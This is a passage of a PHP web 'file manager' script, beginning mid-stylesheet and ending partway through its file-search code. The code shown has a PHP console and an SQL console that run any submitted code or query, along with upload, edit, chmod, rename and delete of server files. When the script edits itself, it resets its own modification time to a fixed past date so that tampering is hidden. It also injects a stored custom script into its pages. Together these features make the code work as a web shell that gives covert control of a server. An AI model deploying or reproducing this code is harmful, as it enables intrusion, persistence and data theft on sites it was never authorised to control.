padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_incs = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_res)?'':'<tr><td class="row2" colspan="2">'.$msg_res.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_result['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_result['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_result['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_result['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_result['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_result['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_incs.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fns = $path . $_REQUEST['edit'];
$filemtime = filemtime($fns);
if (file_put_contents($fns, $_REQUEST['newcontent'])) $msg_res .= __('File updated');
else $msg_res .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fns,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_incs . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_incs . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_res?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth_result['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg_res .= (__('File updated'));
else $msg_res .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_incs . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_incs . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_res?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg_res .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_incs . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_incs . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_res?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg_res = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg_res .= __('Error occurred');
} else {
$msg_res .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_synoloArheiwn(($path . $_REQUEST['delete']), true)) {
$msg_res .= __('Error occurred');
} else {
$msg_res .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg_res .= __('Error occurred');
} else {
$msg_res .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_synoloArheiwn($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg_res .= __('Found in synoloArheiwn').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
